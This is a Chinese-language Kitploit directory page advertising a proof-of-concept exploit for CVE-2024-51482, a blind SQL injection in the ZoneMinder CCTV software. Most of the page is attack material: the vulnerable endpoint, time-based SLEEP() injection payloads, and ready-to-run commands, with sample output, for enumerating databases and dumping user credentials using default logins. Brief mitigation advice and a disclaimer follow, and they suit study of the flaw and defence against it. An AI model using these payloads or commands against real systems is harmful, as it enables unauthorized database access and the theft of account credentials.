Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-51482 — ZenoMinder 盲SQL注入 PoC | Kitploit
工具/GitHubGitHub/bridgeralderson/cve-2024-51482
密码攻击漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder 盲SQL注入 PoC

查看仓库
8466个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-51482 - ZoneMinder 盲 SQL 注入

目录

  • 概述
  • 漏洞详情
  • 技术分析
  • 利用指南
  • 安装
  • 使用示例
  • 缓解措施
  • 参考

概述

CVE-2024-51482 是 ZoneMinder(一款流行的开源闭路电视监控软件)中发现的一个严重基于布尔的 SQL 注入漏洞。该漏洞影响 1.37.* 至 1.37.64 版本,允许具有低权限的已认证攻击者在底层数据库服务器上执行任意 SQL 命令。

指标值
CVE IDCVE-2024-51482
CVSS 评分9.9(严重)
攻击向量网络
所需权限低
用户交互无
影响范围已改变
影响机密性、完整性、可用性 - 高
已修补版本1.37.65

漏洞详情

受影响版本

  • 受影响: ZoneMinder v1.37.0 至 v1.37.64。
  • 已修补: ZoneMinder v1.37.65 及更高版本。

根本原因

该漏洞存在于 web/ajax/event.php 文件中的 removetag 函数中。参数 tid(标签 ID)直接拼接到 SQL 查询中,没有经过适当的清理或参数化。

漏洞代码:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

修复代码:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query

攻击向量

易受攻击的端点可以通过以下方式触发:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]

技术分析

为什么是基于布尔的盲注入?

注入点不会直接在响应中返回查询结果,因此传统的 UNION 基于攻击不可行。相反,我们必须通过布尔条件或时间延迟来推断信息。

  • 基于布尔的方法:
    • 条件为真 → 正常响应时间。
    • 条件为假 → 正常响应时间。
    • 需要观察应用程序行为中的可察觉差异。
  • 基于时间的方法(更可靠):
    • 条件为真 → 响应延迟(SLEEP)。
    • 条件为假 → 正常响应时间。

利用机制

我们的利用程序使用基于时间的数据提取,配合 SLEEP() 函数:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

当此条件评估为真时,数据库休眠 2 秒,从而在 HTTP 响应中产生可测量的延迟。

字符提取过程

  • 二分查找: 对于每个字符位置,我们使用 ASCII(SUBSTRING()) > MID 测试范围。
  • 时间测量: 如果条件为真,则触发 SLEEP。
  • 字符重建: 逐个字符构建字符串。

提取位置 1 的字符的示例载荷:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

利用指南

前置条件

  • 目标运行 ZoneMinder 1.37.0 - 1.37.64。
  • 有效凭据(默认:admin/admin)。
  • 可以访问 ZoneMinder Web 界面。

安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# 赋予脚本可执行权限
chmod +x CVE-2024-51482.py

# 安装所需依赖
pip3 install requests

基本用法

root@kitploit:~
# 测试目标是否易受攻击
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test

# 发现所有数据库
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover

# 列出特定数据库中的表
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm

# 列出特定表中的列
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users

# 转储特定列的数据
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"

# 转储用户表(默认)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users

# 启用调试输出以查看详细提取过程
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug

# 调整休眠时间以使提取更可靠
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3

# 禁用彩色输出
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color

使用示例

示例 1:漏洞测试

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder 盲 SQL 注入利用程序
[*] 目标:192.168.1.100
[*] 正在以 'admin' 身份登录 192.168.1.100...
[+] 登录成功
[*] 测量基准响应时间...
[*] 基准中位数:0.058s
[*] 使用 2s 休眠测试漏洞...
[+] 目标易受攻击!

示例 2:数据库枚举

root@kitploit:~
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder 盲 SQL 注入利用程序
[*] 目标:<target-host>
[*] 正在以 'admin' 身份登录 <target-host>...
[+] 登录成功
[*] 测量基准响应时间...
[*] 基准中位数:0.065s
[*] 使用 2s 休眠测试漏洞...
[+] 目标易受攻击!
[*] 正在枚举数据库...
[+] 发现数据库:information_schema
[+] 发现数据库:performance_schema
[+] 发现数据库:zm
[+] 发现的数据库: 
1. information_schema 
2. performance_schema 
3. zm

示例 3:转储用户凭据

root@kitploit:~
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder 盲 SQL 注入利用程序
[*] 目标:<target-host>
[*] 正在以 'admin' 身份登录 <target-host>...
[+] 登录成功
[*] 测量基准响应时间...
[*] 基准中位数:0.062s
[*] 使用 2s 休眠测试漏洞...
[+] 目标易受攻击!
[*] 正在从 zm 数据库转储 Users 表...
[*] 正在枚举 'zm.Users' 中的列...
[+] 发现列:Id
[+] 发现列:Username
[+] 发现列:Password
[+] 发现列:Language
[+] 发现列:Enabled
[*] 正在从 'zm.Users' 转储数据...
[+] 行 1:{'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] 行 2:{'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] 提取到的用户:2 
用户:admin 
密码:$2y$10$...hashed... 
邮箱:admin@localhost 
启用:1 
用户:operator 
密码:$2y$10$...hashed... 
邮箱:operator@localhost 
启用:1

示例 4:自定义数据提取

root@kitploit:~
# 转储 Events 表中的特定列
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

利用原理

逐步分解

  1. 身份验证: 脚本首先向 ZoneMinder 进行身份验证以获取有效的会话 cookie。
  2. 基准测量: 发送 5 个正常请求以建立平均响应时间。
  3. 漏洞确认: 使用 SLEEP(2) 载荷进行测试以验证注入是否有效。
  4. 字符提取: 对于每个字符位置,二分查找确定其 ASCII 值:
    • 查询:ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} 。
    • 如果条件为真 → 触发 SLEEP → 响应延迟。
    • 如果条件为假 → 立即响应。
  5. 字符串重建: 将字符拼接成完整字符串。

关键特性

  • 二分查找算法: 每个字符大约需要 log₂(95) ≈ 7 个请求。
  • 自适应时间: 自动校准基准以进行精确检测。
  • 进度指示器: 实时显示提取进度。
  • 错误恢复: 优雅处理连接超时。
  • 调试模式: 显示逐字符提取的详细信息。

缓解措施

立即行动

  • 将 ZoneMinder 更新至 1.37.65 或更高版本:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • 如果无法打补丁,请限制对易受攻击脚本的访问:
    root@kitploit:~
    # Apache 配置 
    Require ip 192.168.0.0/16
    
  • 对数据库帐户实施最小权限原则。
  • 监控日志中可疑的 SQL 注入尝试:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

长期建议

  • 对所有数据库交互使用参数化查询 。
  • 实施 Web 应用防火墙(WAF)规则 。
  • 定期进行安全审计和渗透测试 。
  • 保持 ZoneMinder 及其所有依赖项更新 。

参考

  • GitHub 安全公告 - GHSA-qm8h-3xvf-m7j3
  • NVD 条目 - CVE-2024-51482
  • 补丁提交
  • CISA 漏洞强化
  • Tenable Nessus 插件
  • Check Point 安全公告

免责声明

此工具仅供教育和安全测试之用。未经授权测试计算机系统是违法的。在测试任何系统之前,请务必获得适当授权。

CVSS 向量字符串

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

下载工具
指标值
攻击向量网络
攻击复杂度低
所需权限低
用户交互无
影响范围已改变
机密性高
完整性高
可用性高